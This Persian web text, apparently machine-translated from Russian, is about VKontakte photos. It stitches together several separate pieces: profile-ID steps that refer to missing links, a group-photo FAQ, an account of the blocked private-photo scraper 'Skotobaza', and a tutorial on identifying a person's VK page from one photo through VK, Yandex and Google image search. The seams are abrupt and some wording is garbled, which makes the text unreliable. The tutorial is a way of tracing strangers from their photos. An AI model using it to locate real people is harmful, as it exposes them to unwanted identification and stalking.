      1. شناسه پروفایل را پیدا کنید. ماوس را روی «Friends NAME» نگه دارید. لینک رو کپی میکنیم
      2. *[لینک با تصمیم مدیریت پروژه مسدود شد].
      3. اعداد بعد از "id=" شناسه پروفایل هستند.
      این اعداد را کپی کرده و در لینک های لازم قرار دهید.

      چه کسی می تواند عکس های VKontakte را مشاهده کند؟

      بسته به اینکه به چه کسی اجازه دسترسی به عکس های خود را داده اید.

      چگونه تمام عکس های یک مخاطب را ببینیم؟

      این اطلاعات در مقاله توضیح داده شده است.

      چگونه یک عکس گروهی را در تماس ببینیم؟

      یک گروه یا صفحه مورد علاقه را پیدا کنید، سپس مورد را درست در زیر نوار جستجوی "Communities" انتخاب کنید. سپس کمی به سمت راست "نوع انجمن" را می بینید (کادر کنار: any, group, page, meeting) را علامت بزنید و روی جستجو کلیک کنید. لیستی از گروه ها باز می شود که در آن می توانید گروه های مناسب خود را انتخاب کنید. اگر گروه باز باشد، می توانید به راحتی تمام محتویات آن را مشاهده کنید: صدا، ویدئو، عکس، بحث.
      اگر در صفحه یک گروه بسته قرار گرفته اید، به گوشه سمت راست بالای عکس توجه کنید. خواهد گفت: "اشتراک" (در صفحه) یا "اعمال" (برای گروه).
      لطفا کمی صبر کنید زیرا درخواست شما توسط مدیران گروه بررسی می شود. در صورت تایید، گروه در لیست صفحه شما ظاهر می شود. اکنون می توانید تمام محتویات گروه را مشاهده کنید.

    مجموعه عظیمی از عکس های خصوصی در VK (حدود 100 میلیون). این سرویس عکس های همه کاربران شبکه های اجتماعی را جمع آوری می کند. شبکه ها در یک فهرست واحد

    پیدا کردن عکس های یک کاربر خاص آسان است - فقط آن را وارد کنید. و حذف آن دشوار است، اگر از طریق ایمیل به سازندگان بنویسید، شانس کم است، و اگر کمک مالی کنید، شانس افزایش می یابد.

    انبار سهام چگونه عکس ها را در VK جمع آوری می کند؟ همه چیز بسیار ساده است: این سرویس به طور خودکار عکس های همه کاربران را به صورت آنلاین در مجموعه آپلود می کند. فرقی نمی کند که عکس را در کجا، در یک انجمن یا نمایه پست می کنید. حتی اگر بعد از چند دقیقه عکس پاک شود، از قبل در انبار موجود است.

    بنابراین، بسیاری از کاربران ناراضی به Roskomnadzor روی آوردند که به این امر کمک کرد انبار گاو مسدود شددر قلمرو فدراسیون روسیه. مسدود کردن بای پس امکان پذیر نیست.

    جمع آوری و ذخیره سازی اطلاعات شخصی کاربران ممنوع است. اگرچه خود کاربران عکس ها را برای عموم آپلود می کنند.

    در حال حاضر سایت کار نمی کندحتی با سرورهای پروکسی مالکان بلافاصله پس از مسدود شدن پرونده را رها کردند. بنابراین می توانید با آرامش بخوابید و از اینکه کسی به عکس های شخصی شما نگاه کند نترسید.

    آنالوگ های Skotobaza

    در سال 2018آنالوگ های مختلفی مانند "سوخته" وجود داشت، اما همه آنها کار نمی کنند، زیرا توسعه دهندگان Vkontakte اسکریپت هایی را تغییر دادند که ربات ها را از سرقت عکس های خصوصی منع می کند.

    توجه:اینترنت پر از "آنالوگ" انبار گاو است، اما همه آنها نه تنها کار نمی کنند، بلکه علت نیز هستند. هک حساب! اگر به چنین سایت هایی برخورد کردید، به هیچ وجه داده ها را از Vkontakte وارد نکنید. مهاجمان به حساب کاربری دسترسی پیدا می کنند و می توانند.

    دوران انبار گاوداری و خدمات مشابه گذشته است. در حال حاضر ذخیره و توزیع عکس های صمیمی و خصوصی ممنوع است. اگر قانون را رعایت نکنید مجازات خواهید شد.

    سلام دوستان! امروز ما افراد را با عکس در شبکه اجتماعی Vkontakte جستجو خواهیم کرد. فقط تصور کنید که ما فقط یک عکس داریم و باید صفحه او را از این عکس پیدا کنیم. شاید این فقط در صورتی باشد که او این عکس را در یک شبکه اجتماعی آپلود کند و آن را پنهان نکرده باشد (). این را می توان انجام داد، من آن را در عمل آزمایش کردم، چند روش اثبات شده وجود دارد، و اکنون آنها را در نظر خواهیم گرفت.

    جستجو بر اساس عکس های Vkontakte

    برای استفاده از این عملکرد شبکه اجتماعی و یافتن یک شخص، ابتدا باید یک عکس آپلود کنیم که توسط آن حساب خود را جستجو کنیم (). حالا به سراغ آلبومی می رویم که این عکس را در آن اضافه کرده ایم و روی خود عکس کلیک می کنیم تا کاملا با ما لود شود.

    پس از بارگذاری عکس، به نوار آدرس مرورگر نگاه کنید و آدرس عکس را کپی کنید. آدرس عکس نیازی به کپی کامل نیست، بلکه فقط اعدادی که بعد از کلمه عکس (همراه با آن) و قبل از علامت % آمده اند، نیازی به کپی کردن کامل ندارند. به اسکرین شات نگاه کنید و همه چیز مشخص خواهد شد:

    اکنون به صفحه اصلی خود بروید و روی آیتم منو "اخبار" کلیک کنید.

    تقریباً در بالای صفحه ای که بالای اخبار باز می شود، کادر جستجوی عکس داریم. کلمه کپی را در آن قرار می دهیم: بلافاصله بعد از آن آدرس عکسی است که آپلود کرده اید و باید با آن شخص را پیدا کنید.

    مشاهده اسکرین شات:

    Enter را فشار می دهیم. و ما تمام عکس های مشابهی را که توسط کاربران مختلف در شبکه اجتماعی آپلود شده اند بارگذاری می کنیم. به طور طبیعی، اگر عکس منحصر به فرد باشد، در مورد شما فقط یک کاربر وجود خواهد داشت. فقط کافی است روی عکس کلیک کنید و لینک صاحب این عکس را دنبال کنید:

    این همه است، ما با این وظیفه کنار آمدیم.

    جستجو بر اساس تصاویر از Yandex

    اکنون برای توسعه کلی راه دیگری برای یافتن یک شخص در Vkontakte با عکس به شما نشان خواهم داد. اما توجه داشته باشید که فقط در صورتی کار خواهد کرد که کاربر آن را در آواتار آپلود کرده باشد. این در مورد جستجوی تصویر از موتور جستجوی Yandex است.

    در پنجره بعدی بر روی دکمه "انتخاب فایل" کلیک کنید تا یک عکس در سیستم جستجو آپلود شود.

    از طریق اکسپلورر، تصویر مورد نظر را در رایانه پیدا کنید، آن را انتخاب کنید و روی "Open" کلیک کنید.

    سیستم تصویر شما و در زیر تمام موارد مشابهی که می تواند پیدا کند را نشان می دهد. با احتمال زیاد، اولین تصویر دقیقاً شبیه عکس شما خواهد بود.

    به پایین اسکرول کنید و لیست سایت هایی را که تصویر در آنها یافت می شود را ببینید. هر یک از موارد پیشنهادی را انتخاب کنید. در مثال، من در poisksocial.ru مستقر شدم. روی عنوان کلیک راست کرده و از لیست گزینه Open link in new tab را انتخاب کنید.

    در سایتی که باز می‌شود، می‌توانید در هر یک از شبکه‌های اجتماعی که در لیست سمت چپ هستند، یک شخص را جستجو کنید. ما قبلا Vkontakte را انتخاب کرده ایم و نام کاملی را که نتایج برای آن نمایش داده می شود را مشخص کرده ایم (البته من آنها را وارد نکردم، آنها قبلاً با باز کردن سایت ثبت شده بودند. اگرچه من به دنبال شخصی با کامل متفاوت هستم. نام، من چیزی را برای خلوص آزمایش تغییر ندادم).

    پنجره وسط همه صفحات کاربری مناسب و موجود را نمایش می دهد. ما بین آنها ورق می زنیم و بله، یک نفر است که من به آن نیاز دارم، و روی آواتار او عکسی وجود دارد که من قبلاً آن را جستجو می کردم.

    روی نام کلیک کنید و در صفحه بعد هر عکسی را از گالری عکس انتخاب کنید. صفحه Vkontakte کاربر پیدا شده باز می شود و می توانید فرض کنید که او را پیدا کرده اید.

    جستجوی تصویر در گوگل

    موتور جستجوی گوگل دقیقاً همان سرویس Yandex را دارد. بیایید فقط سعی کنیم صفحه Vkontakte خود را از عکسی که در آواتار من است به همین ترتیب پیدا کنیم.

    ما به صفحه اصلی گوگل می رویم و در گوشه سمت راست بالا روی پیوند "تصاویر" کلیک می کنیم:

    سرویس جستجوی تصویر را باز می کنیم، مکان نما را به گوشه سمت راست خط جستجو منتقل می کنیم و روی نماد دوربین کلیک می کنیم. این دکمه "جستجو بر اساس تصویر" نام دارد.

    در پنجره باز شده به تب "آپلود فایل" بروید و روی دکمه "انتخاب فایل" کلیک کنید:

    ما یک عکس آپلود می کنیم که با آن می خواهیم یک حساب Vkontakte جستجو کنیم و نتایج را مشاهده کنیم.

    من درخواست های مربوط به کد لباس رسمی را دریافت کردم (چون افراد داخل عکس سیاه و سفید هستند). و چیزی در تصاویر مشابه وجود نداشت.

    اگر شما هم همین را دارید، بیایید جستجو را کمی اصلاح کنیم. برای انجام این کار، در خط مناسب باید نام و نام خانوادگی فردی را که به دنبال آن هستید وارد کنید (مطلوب است که با نحوه ثبت نام کاربر در VK مطابقت داشته باشند) و روی ذره بین کلیک کنید.

    همانطور که می بینید صفحه Vkontakte من دوباره پیدا شد، یعنی دوباره به هدف خود رسیده ایم. و با این کار من این مقاله را به پایان می برم که در آن یاد گرفتیم که چگونه صفحات را در VK از عکس ها جستجو کنیم.